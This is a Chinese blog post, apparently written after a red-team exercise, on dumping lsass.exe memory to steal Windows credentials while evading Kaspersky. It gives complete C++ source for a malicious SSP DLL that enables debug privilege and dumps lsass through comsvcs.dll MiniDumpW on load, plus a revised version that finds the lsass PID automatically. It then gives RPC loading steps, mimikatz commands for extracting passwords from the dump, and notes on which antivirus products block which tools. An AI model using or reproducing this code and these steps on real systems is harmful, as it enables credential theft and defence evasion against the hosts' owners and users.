zoukankan      html  css  js  c++  java
  • 绕过卡巴斯基等杀软抓取 lsass 内存踩坑

    正常的 ssp 扩展(dll)可以加载到 lsass 进程中去,比如 kerberos 验证都是通过加载 kerberos.dll (它就是一种 ssp)调用 sspi 来进行验证,所以我们就可以控制加载一个我们自己的 dll 执行恶意代码从而 dump hash,但是杀软肯定会对常规 SSP 扩展加载进行检测,所以看了 xpn 的文章,可以通过 RPC控制 lsass.exe 进而加载 SSP 扩展。

    前言

    最近与公司大佬打了一波攻防演练,让我抓个密码,dump 内存下来,以为是有卡巴等杀软保护了 lsass 所以抓不到,就尝试复现了一下网上大佬的通过 RPC 调用添加一个 ssp dll 让 lsass 中自己抓自己的内存的骚操作,其中踩坑无数,做一下记录。
    参考:
    绕过卡巴斯基横向移动

    编译

    我们可以通过下载 xpn 大佬的代码(注意有一个头文件,两个.c的代码文件),改后缀为 cpp 编译的时候选择 x64 在前面添加如下代码 #pragma comment(lib, "Rpcrt4.lib"),编码多字节,这样就能编译了,得到 ssp.exe。
    之后我们需要编写我们的恶意 dll,这里贴一下 Ateam 的源码,直接编译就可

    #include <cstdio>
    #include <windows.h>
    #include <DbgHelp.h>
    #include <iostream>
    #include <TlHelp32.h>
    #pragma comment(lib,"Dbghelp.lib")
    typedef HRESULT(WINAPI* _MiniDumpW)(
        DWORD arg1, DWORD arg2, PWCHAR cmdline);
    
    typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
        ULONG Privilege, BOOL Enable,
        BOOL CurrentThread, PULONG Enabled);
    
    int dump() {
    
        HRESULT             hr;
        _MiniDumpW          MiniDumpW;
        _RtlAdjustPrivilege RtlAdjustPrivilege;
        ULONG               t;
    
        MiniDumpW = (_MiniDumpW)GetProcAddress(
            LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    
        RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
            GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
    
        if (MiniDumpW == NULL) {
    
            return 0;
        }
        // try enable debug privilege
        RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    
        wchar_t  ws[100];
        swprintf(ws, 100, L"%hs", "784 c:\1.bin full"); //784是lsass进程的pid号  "<pid> <dump.bin> full" 
    
        MiniDumpW(0, 0, ws);
    	return 0;
    
    }
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    	switch (ul_reason_for_call) {
    	case DLL_PROCESS_ATTACH:
    		dump();
    		break;
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    

    修改

    但是我使用 Ateam 的代码进行 dump 内存,发现编译了后有时候 dump 不下来,后经过修改找到了一个自动获取 lsass 的 pid 的代码:

    #include <cstdio>
    #include <windows.h>
    #include <DbgHelp.h>
    #include <iostream>
    #include <TlHelp32.h>
    #pragma comment(lib,"Dbghelp.lib")
    
    typedef HRESULT(WINAPI* _MiniDumpW)(
    	DWORD arg1, DWORD arg2, PWCHAR cmdline);
    
    typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    	ULONG Privilege, BOOL Enable,
    	BOOL CurrentThread, PULONG Enabled);
    
    char* WcharToChar(wchar_t* wc)
    {
    	char* m_char;
    	int len = WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), NULL, 0, NULL, NULL);
    	m_char = new char[len + 1];
    	WideCharToMultiByte(CP_ACP, 0, wc, wcslen(wc), m_char, len, NULL, NULL);
    	m_char[len] = '';
    	return m_char;
    }
    
    DWORD ID(const char* pName)
    {
    	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (INVALID_HANDLE_VALUE == hSnapshot) {
    		return NULL;
    	}
    	PROCESSENTRY32 pe = { sizeof(pe) };
    	for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
    		if (strcmp(WcharToChar(pe.szExeFile), pName) == 0) {
    			CloseHandle(hSnapshot);
    			return pe.th32ProcessID;
    		}
    	}
    	CloseHandle(hSnapshot);
    	return 0;
    }
    
    int dump() {
    
    	HRESULT             hr;
    	_MiniDumpW          MiniDumpW;
    	_RtlAdjustPrivilege RtlAdjustPrivilege;
    	ULONG               t;
    
    	MiniDumpW = (_MiniDumpW)GetProcAddress(
    		LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    
    	RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
    		GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
    
    	if (MiniDumpW == NULL) {
    
    		return 0;
    	}
    	// try enable debug privilege
    	RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    
    	wchar_t  ws[100];
    	DWORD pid = ID("lsass.exe");
    	swprintf(ws, 100, L"%u %hs", pid, "C:\1.bin full"); //784是lsass进程的pid号  "<pid> <dump.bin> full" 
    
    	MiniDumpW(0, 0, ws);
    	return 0;
    
    }
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    	switch (ul_reason_for_call) {
    	case DLL_PROCESS_ATTACH:
    		dump();
    		break;
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    

    修改配置类型为.dll,使用 unicode 编码字符集,就可以编译

    效果

    接下来可以看看效果

    procdump

    procdump是会被卡巴斯基拦截的,拒绝访问
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp

    但是 360 什么的是没问题的

    SSP

    但是我们用 RPC 调用注入 dll 是可以成功 dump 下内存。
    SSP.exe 绝对路径dllinject.dll
    这里还有个坑,有的系统他可能会提示没有ucrtbased.dllvcruntime140d.dll,这里只需要网上搜一下下载放在c:windowssystem32目录下就可以了

    接下来就是常规操作读内存

    mimikatz # sekurlsa::minidump 1.bin
    mimikatz # sekurlsa::logonPasswords full
    

    mimikatz

    直接被杀了,不需要试了

    SharpDump

    在查找资料的过程中发现一个号称可以过杀软读内存的 SharpDump ,我们也可以看看能不能过卡巴斯基,和 mimikatz 一样,直接被杀了

    但是可以过 360
    ./Sharpdump

  • 相关阅读:
    利用Dom4j创建xml文档
    eclipse安装、使用hibernate插件方法
    “万能数据库查询分析器”用户已基本涵盖当前所有DBMS
    在Dom4j中使用Xpath搜索xml的元素节点
    多线程的一些小问题集锦
    Dalvik虚拟机的运行过程分析
    创建线程的两种方式
    通过xpath查找指定的节点
    Oracle TNS 配置
    c++五种内存分配、堆与栈区别
  • 原文地址:https://www.cnblogs.com/w0x68y/p/14138953.html
Copyright © 2011-2022 走看看